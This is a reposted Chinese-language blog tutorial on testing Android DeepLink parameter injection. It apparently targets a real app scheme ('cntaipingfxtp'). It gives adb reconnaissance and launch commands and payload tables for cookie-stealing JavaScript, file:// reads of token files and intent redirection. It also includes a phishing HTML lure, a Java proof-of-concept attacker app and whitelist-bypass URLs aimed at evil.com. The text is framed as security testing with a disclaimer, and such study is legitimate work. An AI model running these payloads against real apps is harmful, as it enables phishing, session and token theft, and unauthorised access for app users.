deeplink参数注入
原创
信安路漫漫
信安路漫漫
信安路漫漫
2026年9月24日 07:00
上海
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
DeepLink 漏洞简介
DeepLink(深度链接)是 Android 中通过 URL 唤起 App 特定页面的机制,通常注册在 AndroidManifest.xml 中:
<intent-filter> <category android:name=\"android.intent.category.DEFAULT\" /> <category android:name=\"android.intent.category.BROWSABLE\" /> <data android:scheme=\"cntaipingfxtp\" /></intent-filter>
未做校验就直接使用(跳转、路由、WebView 加载等),就会形成 DeepLink 漏洞。核心问题是:外部可控输入 → 未校验 → 敏感操作。
该漏洞跟web的任意URL跳转类似,利用方法也都差不多。
常见漏洞类型
| 类型 | 说明 | 危害 |
| 参数注入 | jump\_scheme 、 routerData 等参数直接使用 | 任意页面跳转、路由劫持 |
| 任意 URL 加载 | WebView 加载外部 URL | 钓鱼、XSS、窃取 Token |
| 越权访问 | 通过 DeepLink 打开未授权页面 | 访问管理员/调试界面 |
| 路径遍历 | ../ 绕过路由白名单 | 加载内部敏感页面 |
| JavaScript 注入 | javascript: 伪协议未过滤 | 执行任意 JS,窃取 Cookie |
| File 协议读取 | file:// 未拦截 | 读取本地敏感文件 |
| 拒绝服务 | 超长/畸形参数 | 应用崩溃 |
| Intent 重定向 | 转发 Intent 到未导出组件 | 绕过 exported 限制 |
测试流程
① 信息收集 pm list packages → dumpsys package → aapt dump badging ↓② 定位入口 找到 scheme + 导出的 SplashActivity + 目标参数名 ↓③ 基础触发 am start -a VIEW -d \"scheme://?param=payload\" am start -n 包名/.Splash --es param payload ↓④ 日志观察 logcat | grep Scheme/Router/Crash ↓⑤ Payload 扩展 URL / XSS / File / 路径遍历 / DoS / Intent 重定向 ↓⑥ 真实场景 恶意 HTML 页面 + 第三方 POC App + onNewIntent ↓⑦ 白名单绕过(如被拦截) 子域名 / @ / 编码 / 协议变形 ↓⑧ 判定 跳转成功 / 崩溃 / 越权 = 漏洞成立
阶段一:信息收集(确认攻击面)
# 1. 找到包名adb shell pm list packages | grep -i 关键词 # 2. 查看 DeepLink 配置(scheme / host / path)adb shell dumpsys package 包名 | grep -A 10 \"android.intent.action.VIEW\" # 3. 确认导出的 Activityadb shell dumpsys package 包名 | grep -B 2 -A 5 \"exported=true\" # 4. 用 aapt 分析 APK(更准确)aapt dump badging app.apk | grep -E \"package:|launchable-activity|scheme\"aapt dump xmltree app.apk AndroidManifest.xml | grep -A 20 \"intent-filter\"
目标:拿到准确的 scheme、host、path、导出的 Activity 全路径。
阶段二:基础触发测试
测试 1:隐式 Intent(模拟真实攻击)
# 通过 DeepLink 触发,不指定组件adb shell am start -W -a android.intent.action.VIEW -d \"cntaipingfxtp://?jump_scheme=https://evil.com\"
测试 2:显式 Intent(已知 Activity 路径)
adb shell am start -n 包名/.ui.splash.SplashActivity --es jump_scheme \"https://evil.com\"
测试 3:组合注入
adb shell am start -n 包名/.ui.splash.SplashActivity \\ --es jump_scheme \"https://evil.com\" \\ --es routerData \"admin_panel\"
观察:应用是否加载 evil.com / 跳转到异常 Tab / 崩溃。
阶段三:日志监控(判断是否触发)
另开一个窗口:
adb logcat -c && adb logcat | grep -E \"Scheme|Router|RootActivity|Splash|Crash|Exception\"
关键信号:
l日志打印出你注入的 URL / 路由值 → 参数被接收
lActivityNotFoundException / NullPointerException → 参数被使用
lFATAL EXCEPTION → 拒绝服务成立
阶段四:Payload 扩展测试
| 测试目标 | Payload | 预期结果 |
| 任意 URL 加载 | https://evil.com | WebView 加载外部页面 |
| XSS | javascript:alert(document.cookie) | 弹窗 / 执行 JS |
| 本地文件读取 | file:///data/data/包名/shared\_prefs/token.xml | 读取敏感文件 |
| 路径遍历 | ../../admin | 绕过路由白名单 |
| 超长字符串 DoS | \"A\"\*10000 | 应用崩溃 |
| 空字节截断 | admin%00user | 绕过校验 |
| Intent 重定向 | intent://...#Intent;component=包名/.内部Activity;end | 打开未导出组件 |
阶段五:真实攻击场景验证
- 恶意 HTML 页面(模拟钓鱼)
<!DOCTYPE html><html><body> 点击领取奖励 测试XSS</body></html>
用模拟器浏览器打开此页面,点击链接。
- 第三方 POC App(模拟恶意应用)
Intent intent = new Intent();intent.setClassName(\"com.tp.test\", \"com.tp.test.ui.splash.SplashActivity\");intent.putExtra(\"jump_scheme\", \"https://evil.com\");intent.putExtra(\"routerData\", \"admin_panel\");intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);startActivity(intent);
- onNewIntent 场景(App 已在后台)
# 先手动启动 App → 按 Home 键挂起# 再执行注入adb shell am start -n 包名/.ui.splash.SplashActivity --es jump_scheme \"https://evil.com\"
阶段六:白名单绕过测试(如果基础 Payload 被拦截)
如果应用校验了域名,尝试:
# 子域名绕过--es jump_scheme \"https://tp.com.evil.com\" # @ 符号绕过--es jump_scheme \"https://[email protected]\" # 反斜杠绕过--es jump_scheme \"https://evil.com\\.tp.com\" # 协议绕过--es jump_scheme \"//evil.com\"--es jump_scheme \"https:evil.com\" # 编码绕过--es jump_scheme \"https://evil.com%00.tp.com\"--es jump_scheme \"https://evil.com%2f..%2ftp.com\"
如下图的一个实例,可以直接打开百度页面
手机直接打开了百度页面
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论